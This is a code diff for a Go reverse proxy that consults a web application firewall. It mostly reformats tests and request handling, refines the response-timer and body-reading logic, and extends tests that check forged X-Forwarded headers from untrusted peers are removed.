@@ -200,15 +224,24 @@ func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) {
 				body := randomBytes(size)
 				standIn := startWAF(t, allow)
 				received := make(chan []byte, 1)
-				app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
+				app := startApp(
-					whole, _ := io.ReadAll(r.Body)
+					t,
-					received <- whole
+					func(w http.ResponseWriter, r *http.Request) {
+						whole, _ := io.ReadAll(r.Body)
+						received <- whole
 
-					greet(w, r)
+						greet(w, r)
-				})
+					},
+				)
 				addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
 
-				req := newRequest(t, http.MethodPost, addr, "/", bytes.NewReader(body))
+				req := newRequest(
+					t,
+					http.MethodPost,
+					addr,
+					"/",
+					bytes.NewReader(body),
+				)
 				if !announced {
 					// Go's client sends a body of unknown length in chunks.
 					req.ContentLength = -1
@@ -224,7 +257,9 @@ func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) {
 					t.Error("the app did not get the whole body")
 				}
 
-				if report := standIn.report(t); report.RequestBytes != int64(size) {
+				if report := standIn.report(t); report.RequestBytes != int64(
+					size,
+				) {
 					t.Errorf("report %+v, of %d bytes", report, size)
 				}
 			})
@@ -240,8 +275,11 @@ func wantQuestionBody(
 	t.Helper()
 
 	if !bytes.Equal(asked.body, want) {
-		t.Errorf("the question carries %d bytes, want the first %d", len(asked.body),
+		t.Errorf(
-			len(want))
+			"the question carries %d bytes, want the first %d",
+			len(asked.body),
+			len(want),
+		)
 	}
 
 	values := asked.header.Values(waf.ContentLengthHeader)
@@ -256,9 +294,13 @@ func wantQuestionBody(
 		return
 	}
 
-	if len(values) != 0 || !slices.Equal(asked.transferEncoding, []string{chunked}) {
+	if len(values) != 0 ||
-		t.Errorf("announced %v and encoded %v, want none and chunked", values,
+		!slices.Equal(asked.transferEncoding, []string{chunked}) {
-			asked.transferEncoding)
+		t.Errorf(
+			"announced %v and encoded %v, want none and chunked",
+			values,
+			asked.transferEncoding,
+		)
 	}
 }
 
@@ -311,7 +353,11 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
 				addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
 
 				conn := dial(t, addr)
-				send(t, conn, method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing)
+				send(
+					t,
+					conn,
+					method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing,
+				)
 
 				if status := readStatus(t, conn); status != http.StatusForbidden {
 					t.Errorf("status %d, want waf's 403", status)
@@ -320,8 +366,13 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
 				asked := standIn.question(t)
 				if string(asked.body) != tc.body ||
 					!slices.Equal(asked.transferEncoding, tc.encoding) {
-					t.Errorf("the question carries %q, encoded %v, want %q, encoded %v",
+					t.Errorf(
-						asked.body, asked.transferEncoding, tc.body, tc.encoding)
+						"the question carries %q, encoded %v, want %q, encoded %v",
+						asked.body,
+						asked.transferEncoding,
+						tc.body,
+						tc.encoding,
+					)
 				}
 			})
 		}
@@ -343,10 +394,15 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
 
 			got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
 			if got.status != http.StatusMethodNotAllowed ||
-				got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
+				got.header.Get(
+					"Allow",
+				) != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
 					"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, "+
 					"MKCALENDAR" {
-				t.Errorf("answered %+v, want 405 naming the methods passed on", got)
+				t.Errorf(
+					"answered %+v, want 405 naming the methods passed on",
+					got,
+				)
 			}
 
 			line := out.requestLine(t)
@@ -483,7 +539,12 @@ func TestATrustedPeerWithNoForwardedProtoIsAskedAboutAsHTTP(t *testing.T) {
 
 	asked := standIn.question(t)
 	if got := asked.header.Get(forwardedProtoHeader); got != want {
-		t.Errorf("the question's %s is %q, want %s", forwardedProtoHeader, got, want)
+		t.Errorf(
+			"the question's %s is %q, want %s",
+			forwardedProtoHeader,
+			got,
+			want,
+		)
 	}
 }
 
@@ -504,11 +565,21 @@ func TestAQuestionNamesNoZone(t *testing.T) {
 
 			standIn := startWAF(t, deny)
 			app := startApp(t, greet)
-			_, out, server := startServer(t, standIn.URL, app.URL, map[string]string{
+			_, out, server := startServer(
-				trustedProxies: localhost + "/32",
+				t,
-			})
+				standIn.URL,
+				app.URL,
+				map[string]string{
+					trustedProxies: localhost + "/32",
+				},
+			)
 
-			req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
+			req := httptest.NewRequestWithContext(
+				t.Context(),
+				http.MethodGet,
+				"/",
+				http.NoBody,
+			)
 			req.RemoteAddr = tc.remoteAddr
 			req.Header.Set(forwardedForHeader, tc.forwardedFor)
 

internal/rproxy/request.go

@@ -96,24 +96,34 @@ type request struct {
 
 // newRequest starts handling r: it notes the time, works out the visitor from
 // the TCP peer and X-Forwarded-For, and makes the request's id.
-func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request {
+func (h *handler) newRequest(
+	w http.ResponseWriter,
+	r *http.Request,
+) *request {
 	peer := peerAddress(r)
 	trusted := h.config.TrustedProxies
 
 	rq := &request{
-		h:           h,
+		h:   h,
-		in:          r,
+		in:  r,
-		rc:          http.NewResponseController(w),
+		rc:  http.NewResponseController(w),
-		out:         &responseWriter{ResponseWriter: w},
+		out: &responseWriter{ResponseWriter: w},
-		id:          rand.Text(),
+		id:  rand.Text(),
-		client:      clientAddress(peer, r.Header.Values("X-Forwarded-For"), trusted),
+		client: clientAddress(
+			peer,
+			r.Header.Values("X-Forwarded-For"),
+			trusted,
+		),
 		peer:        peer,
 		peerTrusted: isInside(peer, trusted),
 		start:       time.Now(),
 	}
 
 	if r.Body != http.NoBody {
-		rq.body = &requestBody{body: limitBody(r.Body, h.config.MaxRequestSize), rq: rq}
+		rq.body = &requestBody{
+			body: limitBody(r.Body, h.config.MaxRequestSize),
+			rq:   rq,
+		}
 	}
 
 	return rq
@@ -138,7 +148,9 @@ func (rq *request) readFirstPartOfBody() bool {
 	}
 
 	_ = rq.rc.SetReadDeadline(rq.requestDeadline())
-	held, err := io.ReadAll(io.LimitReader(rq.body, waf.QuestionBodyMaxBytes))
+	held, err := io.ReadAll(
+		io.LimitReader(rq.body, waf.QuestionBodyMaxBytes),
+	)
 	// From here on, the request timer ends a read of the rest of the body, so that
 	// the answer can name the side rproxy was waiting on.
 	_ = rq.rc.SetReadDeadline(time.Time{})
@@ -257,7 +269,8 @@ func (rq *request) modifyResponse(res *http.Response) error {
 	}
 
 	maxBytes := rq.h.config.MaxResponseSize
-	if maxBytes > 0 && res.Body != http.NoBody && res.ContentLength > maxBytes {
+	if maxBytes > 0 && res.Body != http.NoBody &&
+		res.ContentLength > maxBytes {
 		rq.refuse(http.StatusBadGateway)
 
 		return errResponseTooLarge
@@ -272,6 +285,10 @@ func (rq *request) modifyResponse(res *http.Response) error {
 
 	rq.closeAfterAnswer()
 
+	// An answer that arrives before the app has been sent the whole request ends
+	// the request, and SWRP_MAX_RESPONSE_TIME_MS starts.
+	rq.startResponseTimer(requestEnd)
+
 	res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
 	rq.out.afterStatus = rq.setResponseDeadline
 
@@ -280,7 +297,11 @@ func (rq *request) modifyResponse(res *http.Response) error {
 
 // answerError is ReverseProxy's ErrorHandler: the request could not be passed to
 // the app, or the app's answer cannot be passed on.
-func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error) {
+func (rq *request) answerError(
+	_ http.ResponseWriter,
+	_ *http.Request,
+	err error,
+) {
 	if rq.upgraded != nil {
 		// The app switched protocols, but the switch was not passed on, and
 		// ReverseProxy leaves the app's connection open when it refuses it.
@@ -296,7 +317,11 @@ func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error
 			panic(http.ErrAbortHandler)
 		}
 
-		rq.h.processLog.Warn("request to the app failed", "error", err.Error())
+		rq.h.processLog.Warn(
+			"request to the app failed",
+			"error",
+			err.Error(),
+		)
 
 		status = http.StatusBadGateway
 	}
@@ -384,32 +409,56 @@ func (rq *request) refuse(status int) {
 func (rq *request) finish(ctx context.Context) {
 	rq.stopTimers()
 
-	if rq.refused.Load() == 0 {
+	// After a cut-off answer, the reading of a body that has not arrived whole
-		rq.stopPassingOnBody()
+	// ends now. Go's server would otherwise keep the connection open while it
+	// reads the rest. modifyResponse sets afterStatus only when it passes the
+	// app's answer on. Any refusal after that has cut the answer off, since a
+	// refusal ends the request to the app. Any answer is cut off when the time to
+	// send it runs out: a flush then fails, and every flush after a failed one
+	// fails too. ReverseProxy ignores the failure, but panics if it was still
+	// waiting for more of the app's answer; finish runs either way. Before a
+	// status, a flush would send a 200; after a 101, ReverseProxy has taken over
+	// the connection.
+	switch {
+	case rq.out.afterStatus != nil && rq.refused.Load() != 0,
+		rq.out.status != 0 && rq.out.status != http.StatusSwitchingProtocols &&
+			errors.Is(rq.rc.Flush(), os.ErrDeadlineExceeded):
+		rq.stopPassingOnBody(time.Now())
+	case rq.refused.Load() == 0:
+		rq.stopPassingOnBody(rq.requestDeadline())
 	}
 
 	requestEnd := rq.endRequest()
 	end := time.Now()
 	requestBytes, responseBytes := rq.bytesEachWay()
 
-	err := requestlog.WriteRProxyLine(rq.h.requestLog, &requestlog.RProxyLine{
+	err := requestlog.WriteRProxyLine(
-		Time:               requestlog.FormatTime(rq.start),
+		rq.h.requestLog,
-		RequestID:          rq.id,
+		&requestlog.RProxyLine{
-		ClientIP:           rq.client.String(),
+			Time:          requestlog.FormatTime(rq.start),
-		Host:               rq.in.Host,
+			RequestID:     rq.id,
-		Method:             rq.in.Method,
+			ClientIP:      rq.client.String(),
-		Path:               rules.Path(rq.in),
+			Host:          rq.in.Host,
-		Query:              rq.in.URL.RawQuery,
+			Method:        rq.in.Method,
-		Status:             rq.out.status,
+			Path:          rules.Path(rq.in),
-		RequestBytes:       requestBytes,
+			Query:         rq.in.URL.RawQuery,
-		ResponseBytes:      responseBytes,
+			Status:        rq.out.status,
-		DurationRequestMS:  requestlog.Milliseconds(requestEnd.Sub(rq.start)),
+			RequestBytes:  requestBytes,
-		DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
+			ResponseBytes: responseBytes,
-		Disposition:        rq.disposition,
+			DurationRequestMS: requestlog.Milliseconds(
-		DefaultDisposition: rq.byDefault,
+				requestEnd.Sub(rq.start),
-	})
+			),
+			DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
+			Disposition:        rq.disposition,
+			DefaultDisposition: rq.byDefault,
+		},
+	)
 	if err != nil {
-		rq.h.processLog.Error("writing the request log failed", "error", err.Error())
+		rq.h.processLog.Error(
+			"writing the request log failed",
+			"error",
+			err.Error(),
+		)
 	}
 
 	if !rq.answered {
@@ -424,7 +473,9 @@ func (rq *request) finish(ctx context.Context) {
 		DurationTotalMS: requestlog.Milliseconds(end.Sub(rq.start)),
 	}
 	if !rq.upstreamStart.IsZero() {
-		report.DurationUpstreamTotalMS = requestlog.Milliseconds(end.Sub(rq.upstreamStart))
+		report.DurationUpstreamTotalMS = requestlog.Milliseconds(
+			end.Sub(rq.upstreamStart),
+		)
 	}
 
 	rq.h.sendReport(ctx, report)
@@ -473,10 +524,10 @@ func (rq *request) stopReadingBody(deadline time.Time) {
 }
 
 // stopPassingOnBody ends the transport's reading of a visitor's body that has
-// not arrived whole, and lets Go's server read the rest until
+// not arrived whole, and lets Go's server read the rest until deadline. Go's
-// SWRP_MAX_REQUEST_TIME_MS runs out. Go's server reads it once the handler
+// server reads it once the handler returns, but with no deadline at all if
-// returns, but with no deadline at all if another read of it is still waiting.
+// another read of it is still waiting.
-func (rq *request) stopPassingOnBody() {
+func (rq *request) stopPassingOnBody(deadline time.Time) {
 	if rq.body == nil || rq.body.received.Load() {
 		return
 	}
@@ -489,7 +540,7 @@ func (rq *request) stopPassingOnBody() {
 	rq.body.stopped = true
 	rq.body.mu.Unlock()
 
-	rq.stopReadingBody(rq.requestDeadline())
+	rq.stopReadingBody(deadline)
 }
 
 // startRequestTimer starts SWRP_MAX_REQUEST_TIME_MS, which runs from the
@@ -503,7 +554,10 @@ func (rq *request) startRequestTimer() {
 	rq.mu.Lock()
 	defer rq.mu.Unlock()
 
-	rq.requestTimer = time.AfterFunc(time.Until(deadline), rq.requestTimedOut)
+	rq.requestTimer = time.AfterFunc(
+		time.Until(deadline),
+		rq.requestTimedOut,
+	)
 }
 
 // requestTimedOut is called when SWRP_MAX_REQUEST_TIME_MS runs out while the
@@ -542,19 +596,29 @@ func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
 	requestEnd := rq.endRequest()
 
 	rq.mu.Lock()
-	defer rq.mu.Unlock()
+	stopTimer(rq.requestTimer)
+	rq.mu.Unlock()
 
-	if rq.timersStopped {
+	rq.startResponseTimer(requestEnd)
+}
+
+// startResponseTimer starts SWRP_MAX_RESPONSE_TIME_MS, which runs from
+// requestEnd, unless it has started already.
+func (rq *request) startResponseTimer(requestEnd time.Time) {
+	limit := rq.h.config.MaxResponseTime
+	if limit == 0 {
 		return
 	}
 
-	stopTimer(rq.requestTimer)
+	rq.mu.Lock()
+	defer rq.mu.Unlock()
 
-	limit := rq.h.config.MaxResponseTime
+	if rq.timersStopped || rq.responseTimer != nil {
-	if limit > 0 {
+		return
-		rq.responseTimer = time.AfterFunc(time.Until(requestEnd.Add(limit)),
-			rq.responseTimedOut)
 	}
+
+	rq.responseTimer = time.AfterFunc(time.Until(requestEnd.Add(limit)),
+		rq.responseTimedOut)
 }
 
 // responseTimedOut is called when SWRP_MAX_RESPONSE_TIME_MS runs out before the
@@ -584,7 +648,9 @@ func (rq *request) setResponseDeadline() {
 
 	deadline := rq.endRequest().Add(limit)
 
-	_ = rq.rc.SetWriteDeadline(time.Now().Add(max(time.Until(deadline), minSendTime)))
+	_ = rq.rc.SetWriteDeadline(
+		time.Now().Add(max(time.Until(deadline), minSendTime)),
+	)
 	_ = rq.rc.Flush()
 	_ = rq.rc.SetWriteDeadline(deadline)
 }

internal/rproxy/rproxy.go

@@ -78,7 +78,10 @@ type Server struct {
 // on.
 func New(params Params) *Server {
 	backend := params.Config.WAFBackend
-	errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn)
+	errorLog := slog.NewLogLogger(
+		params.ProcessLog.Handler(),
+		slog.LevelWarn,
+	)
 	h := &handler{
 		config:       params.Config,
 		requestLog:   params.RequestLog,

internal/rproxy/rproxy_test.go

@@ -358,11 +358,13 @@ func startServerLogging(
 	}
 	maps.Copy(settings, env)
 
-	cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
+	cfg, err := config.RProxyFromEnvironment(
-		value, ok := settings[name]
+		func(name string) (string, bool) {
+			value, ok := settings[name]
 
-		return value, ok
+			return value, ok
-	})
+		},
+	)
 	if err != nil {
 		t.Fatalf("settings %v: %v", settings, err)
 	}
@@ -370,10 +372,18 @@ func startServerLogging(
 	server := rproxy.New(rproxy.Params{
 		Config:     cfg,
 		RequestLog: requestLog,
-		ProcessLog: requestlog.NewProcessLogger(processLog, "test", slog.LevelInfo),
+		ProcessLog: requestlog.NewProcessLogger(
+			processLog,
+			"test",
+			slog.LevelInfo,
+		),
 	})
 
-	listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
+	listener, err := (&net.ListenConfig{}).Listen(
+		t.Context(),
+		"tcp",
+		localhost+":0",
+	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -403,7 +413,10 @@ type answered struct {
 func visit(t *testing.T, req *http.Request) answered {
 	t.Helper()
 
-	transport := &http.Transport{DisableKeepAlives: true, DisableCompression: true}
+	transport := &http.Transport{
+		DisableKeepAlives:  true,
+		DisableCompression: true,
+	}
 	defer transport.CloseIdleConnections()
 
 	res, err := transport.RoundTrip(req)
@@ -429,8 +442,12 @@ func newRequest(
 ) *http.Request {
 	t.Helper()
 
-	req, err := http.NewRequestWithContext(t.Context(), method, "http://"+addr+target,
+	req, err := http.NewRequestWithContext(
-		body)
+		t.Context(),
+		method,
+		"http://"+addr+target,
+		body,
+	)
 	if err != nil {
 		t.Fatalf("new request: %v", err)
 	}
@@ -450,7 +467,11 @@ func wantGreeting(t *testing.T, got answered) {
 	t.Helper()
 
 	if got.status != http.StatusOK || got.body != greeting {
-		t.Errorf("answered %d %q, want the app's greeting", got.status, got.body)
+		t.Errorf(
+			"answered %d %q, want the app's greeting",
+			got.status,
+			got.body,
+		)
 	}
 }
 
@@ -547,7 +568,12 @@ func TestPassesAnAllowedRequestToTheAppAndItsAnswerBack(t *testing.T) {
 		requestIDHeader:    asked.header.Get(requestIDHeader),
 	} {
 		if received.Header.Get(name) != want {
-			t.Errorf("the app saw %s %q, want %q", name, received.Header.Get(name), want)
+			t.Errorf(
+				"the app saw %s %q, want %q",
+				name,
+				received.Header.Get(name),
+				want,
+			)
 		}
 	}
 }
@@ -559,6 +585,9 @@ func TestAPeerNotTrustedHasItsForwardedHeadersReplaced(t *testing.T) {
 		"X-Forwarded-Port", "X-Forwarded-Server", "X-Forwarded-Uri",
 		"X-Forwarded-Method", "X-Forwarded-Prefix", "X-Forwarded-Tls-Client-Cert",
 		"X-Forwarded-Tls-Client-Cert-Info", "X-Real-Ip",
+		"X-Forwarded-Scheme", "X-Forwarded-Ssl", "X-Forwarded-Protocol",
+		"X-Forwarded-Path", "X-Forwarded-Client-Cert",
+		"X_Forwarded_Ssl", "X_Forwarded_Proto", "X_Real_IP",
 	}
 
 	standIn := startWAF(t, allow)
@@ -582,6 +611,9 @@ func TestAPeerNotTrustedHasItsForwardedHeadersReplaced(t *testing.T) {
 		req.Header.Set(name, "claimed")
 	}
 
+	// A made-up name, sent in lower case.
+	req.Header["x-forwarded-made-up"] = []string{"claimed"}
+
 	wantGreeting(t, visit(t, req))
 
 	header := <-seen
@@ -596,7 +628,7 @@ func TestAPeerNotTrustedHasItsForwardedHeadersReplaced(t *testing.T) {
 		}
 	}
 
-	for _, name := range removed {
+	for _, name := range append(removed, "X-Forwarded-Made-Up") {
 		if got := header.Values(name); len(got) != 0 {
 			t.Errorf("the app saw %s %q, want none", name, got)
 		}
@@ -622,6 +654,8 @@ func TestATrustedProxysForwardedHeadersPassOn(t *testing.T) {
 		"X-Forwarded-Host":   "public.example",
 		forwardedProtoHeader: "https",
 		"X-Real-Ip":          "198.51.100.1",
+		"X-Forwarded-Ssl":    "on",
+		"X_Forwarded_Ssl":    "on",
 	}
 
 	req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
@@ -652,7 +686,12 @@ func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) {
 	})
 	_, _, server := startServer(t, standIn.URL, app.URL, nil)
 
-	req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
+	req := httptest.NewRequestWithContext(
+		t.Context(),
+		http.MethodGet,
+		"/",
+		http.NoBody,
+	)
 	w := httptest.NewRecorder()
 
 	server.Handler.ServeHTTP(w, req)
@@ -662,8 +701,11 @@ func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) {
 	// stops it: the key with no value.
 	values, there := w.Header()["Content-Type"]
 	if !there || len(values) != 0 {
-		t.Errorf("the answer's Content-Type is %q, there: %v, want the key with no value",
+		t.Errorf(
-			values, there)
+			"the answer's Content-Type is %q, there: %v, want the key with no value",
+			values,
+			there,
+		)
 	}
 }
 
@@ -698,8 +740,12 @@ func TestRemovesTheVisitorsLookupHeadersWhenWAFGivesNone(t *testing.T) {
 			wantGreeting(t, visit(t, req))
 
 			header := <-seen
-			if len(header.Values(asnHeader)) != 0 || len(header.Values(countryHeader)) != 0 {
+			if len(header.Values(asnHeader)) != 0 ||
-				t.Errorf("the app saw the visitor's lookup headers: %v", header)
+				len(header.Values(countryHeader)) != 0 {
+				t.Errorf(
+					"the app saw the visitor's lookup headers: %v",
+					header,
+				)
 			}
 		})
 	}
@@ -732,7 +778,8 @@ func TestDenyGivesTheVisitorWAFsAnswer(t *testing.T) {
 	}
 
 	line := out.requestLine(t)
-	if line["disposition"] != dispositionDeny || line["default_disposition"] != nil {
+	if line["disposition"] != dispositionDeny ||
+		line["default_disposition"] != nil {
 		t.Errorf("line %v, want waf's deny", line)
 	}
 }
@@ -746,7 +793,11 @@ func TestADeniedHeadKeepsWAFsContentLength(t *testing.T) {
 
 	got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
 	if got.status != http.StatusForbidden ||
-		got.header.Get(contentLengthHeader) != strconv.Itoa(len(deniedBody)) {
+		got.header.Get(
+			contentLengthHeader,
+		) != strconv.Itoa(
+			len(deniedBody),
+		) {
 		t.Errorf("answered %+v, want waf's 403 and its length", got)
 	}
 }
@@ -770,7 +821,14 @@ func TestAnAnswerRProxyHoldsWholeIsSentBeforeItsLogLine(t *testing.T) {
 			log := heldLog{release: make(chan struct{})}
 			standIn := startWAF(t, deny)
 			app := startApp(t, greet)
-			addr, _ := startServerLogging(t, standIn.URL, app.URL, nil, log, io.Discard)
+			addr, _ := startServerLogging(
+				t,
+				standIn.URL,
+				app.URL,
+				nil,
+				log,
+				io.Discard,
+			)
 
 			t.Cleanup(func() { close(log.release) })
 
@@ -787,9 +845,16 @@ func TestAnAnswerRProxyHoldsWholeIsSentBeforeItsLogLine(t *testing.T) {
 			}()
 
 			body, err := io.ReadAll(res.Body)
-			if err != nil || res.StatusCode != tc.status || string(body) != tc.body {
+			if err != nil || res.StatusCode != tc.status ||
-				t.Errorf("answered %d %q (%v), want %d %q", res.StatusCode, body, err,
+				string(body) != tc.body {
-					tc.status, tc.body)
+				t.Errorf(
+					"answered %d %q (%v), want %d %q",
+					res.StatusCode,
+					body,
+					err,
+					tc.status,
+					tc.body,
+				)
 			}
 		})
 	}
@@ -835,8 +900,11 @@ func TestCloseClosesTheConnectionWithoutAnAnswer(t *testing.T) {
 
 	text, err := io.ReadAll(conn)
 	if err != nil || len(text) != 0 {
-		t.Errorf("read %q (%v), want the connection closed without an answer",
+		t.Errorf(
-			text, err)
+			"read %q (%v), want the connection closed without an answer",
+			text,
+			err,
+		)
 	}
 
 	report := standIn.report(t)
@@ -850,7 +918,9 @@ func TestCloseClosesTheConnectionWithoutAnAnswer(t *testing.T) {
 	}
 }
 
-func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(t *testing.T) {
+func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	backend := startWAFAnsweringReports(t,
@@ -873,7 +943,10 @@ func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(t *testing.T) {
 
 		duration, ok := line["duration_response_ms"].(float64)
 		if !ok || duration < 0 {
-			t.Errorf("line %v, want a duration_response_ms that is not negative", line)
+			t.Errorf(
+				"line %v, want a duration_response_ms that is not negative",
+				line,
+			)
 		}
 	}
 }
@@ -892,12 +965,16 @@ func answeringWith(answer http.HandlerFunc) func(t *testing.T) string {
 func noAnswers() map[string]func(t *testing.T) string {
 	return map[string]func(t *testing.T) string{
 		"no connection": func(*testing.T) string { return nowhere },
-		"no answer at all": answeringWith(func(http.ResponseWriter, *http.Request) {
+		"no answer at all": answeringWith(
-			panic(http.ErrAbortHandler)
+			func(http.ResponseWriter, *http.Request) {
-		}),
+				panic(http.ErrAbortHandler)
-		"a slow start": answeringWith(func(_ http.ResponseWriter, r *http.Request) {
+			},
-			<-r.Context().Done()
+		),
-		}),
+		"a slow start": answeringWith(
+			func(_ http.ResponseWriter, r *http.Request) {
+				<-r.Context().Done()
+			},
+		),
 		"headers followed by a stalled body": answeringWith(
 			func(w http.ResponseWriter, r *http.Request) {
 				w.Header().Set(dispositionHeader, dispositionDeny)
@@ -939,21 +1016,29 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
 			t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
 				t.Parallel()
 
-				standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
+				standIn := startWAF(
-					if tc.disposition != "" {
+					t,
-						w.Header().Set(dispositionHeader, tc.disposition)
+					func(w http.ResponseWriter, _ *http.Request) {
-					}
+						if tc.disposition != "" {
+							w.Header().Set(dispositionHeader, tc.disposition)
+						}
 
-					w.Header().Set(fromWAFHeader, addedHeaderValue)
+						w.Header().Set(fromWAFHeader, addedHeaderValue)
-					w.WriteHeader(tc.status)
+						w.WriteHeader(tc.status)
-					_, _ = io.WriteString(w, tc.body)
+						_, _ = io.WriteString(w, tc.body)
-				})
+					},
+				)
 				app := startApp(t, func(http.ResponseWriter, *http.Request) {
 					t.Error("the app was asked")
 				})
-				addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
+				addr, out := startRProxy(
-					defaultDisposition: setting,
+					t,
-				})
+					standIn.URL,
+					app.URL,
+					map[string]string{
+						defaultDisposition: setting,
+					},
+				)
 
 				got := get(t, addr, "/")
 				if got.status != tc.status || got.body != tc.body ||
@@ -966,8 +1051,13 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
 				}
 
 				line := out.requestLine(t)
-				if line["status"] != float64(tc.status) || line["default_disposition"] != nil {
+				if line["status"] != float64(tc.status) ||
-					t.Errorf("line %v, want status %d and no default", line, tc.status)
+					line["default_disposition"] != nil {
+					t.Errorf(
+						"line %v, want status %d and no default",
+						line,
+						tc.status,
+					)
 				}
 
 				if out.has("waf gave no answer") {
@@ -1023,10 +1113,13 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
 		w.WriteHeader(http.StatusInternalServerError)
 		_, _ = w.Write(make([]byte, size))
 	})
-	addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
+	addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
+		timeoutSetting: "60000",
+	})
 
 	got := get(t, addr, "/")
-	if got.status != http.StatusInternalServerError || len(got.body) != size {
+	if got.status != http.StatusInternalServerError ||
+		len(got.body) != size {
 		t.Errorf("answered %d with %d bytes, want waf's 500 with %d",
 			got.status, len(got.body), size)
 	}
@@ -1038,7 +1131,11 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
 func startWAFWriting(t *testing.T, text string) string {
 	t.Helper()
 
-	listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
+	listener, err := (&net.ListenConfig{}).Listen(
+		t.Context(),
+		"tcp",
+		localhost+":0",
+	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -1116,9 +1213,15 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
 				app := startApp(t, func(http.ResponseWriter, *http.Request) {
 					t.Error("the app was asked")
 				})
-				addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
+				addr, out := startRProxy(
-					defaultDisposition: setting,
+					t,
-				})
+					backend(t),
+					app.URL,
+					map[string]string{
+						timeoutSetting:     "60000",
+						defaultDisposition: setting,
+					},
+				)
 
 				if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
 					t.Errorf("answered %+v, want 502", got)
@@ -1127,7 +1230,10 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
 				line := out.requestLine(t)
 				if line["status"] != float64(http.StatusBadGateway) ||
 					line["disposition"] != nil || line["default_disposition"] != nil {
-					t.Errorf("line %v, want status 502 and no disposition", line)
+					t.Errorf(
+						"line %v, want status 502 and no disposition",
+						line,
+					)
 				}
 
 				out.waitFor(t, "waf's answer is dropped")
@@ -1140,7 +1246,9 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
 	t.Parallel()
 
 	standIn := startWAF(t, overOneMiB(dispositionDeny))
-	addr, out := startRProxy(t, standIn.URL, nowhere, nil)
+	addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
+		timeoutSetting: "60000",
+	})
 
 	if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
 		t.Errorf("answered %+v, want 502", got)
@@ -1158,9 +1266,14 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
 			t.Parallel()
 
 			app := startApp(t, greet)
-			addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
+			addr, out := startRProxy(
-				timeoutSetting: "200",
+				t,
-			})
+				backend(t),
+				app.URL,
+				map[string]string{
+					timeoutSetting: "200",
+				},
+			)
 
 			wantGreeting(t, get(t, addr, "/"))
 
@@ -1177,10 +1290,15 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
 			app := startApp(t, func(http.ResponseWriter, *http.Request) {
 				t.Error("the app was asked")
 			})
-			addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
+			addr, out := startRProxy(
-				timeoutSetting:     "200",
+				t,
-				defaultDisposition: dispositionDeny,
+				backend(t),
-			})
+				app.URL,
+				map[string]string{
+					timeoutSetting:     "200",
+					defaultDisposition: dispositionDeny,
+				},
+			)
 
 			got := get(t, addr, "/")
 			if got.status != http.StatusServiceUnavailable {
@@ -1203,16 +1321,24 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
 		t.Run("with the default "+disposition, func(t *testing.T) {
 			t.Parallel()
 
-			standIn := startWAF(t, func(_ http.ResponseWriter, r *http.Request) {
+			standIn := startWAF(
-				<-r.Context().Done()
+				t,
-			})
+				func(_ http.ResponseWriter, r *http.Request) {
+					<-r.Context().Done()
+				},
+			)
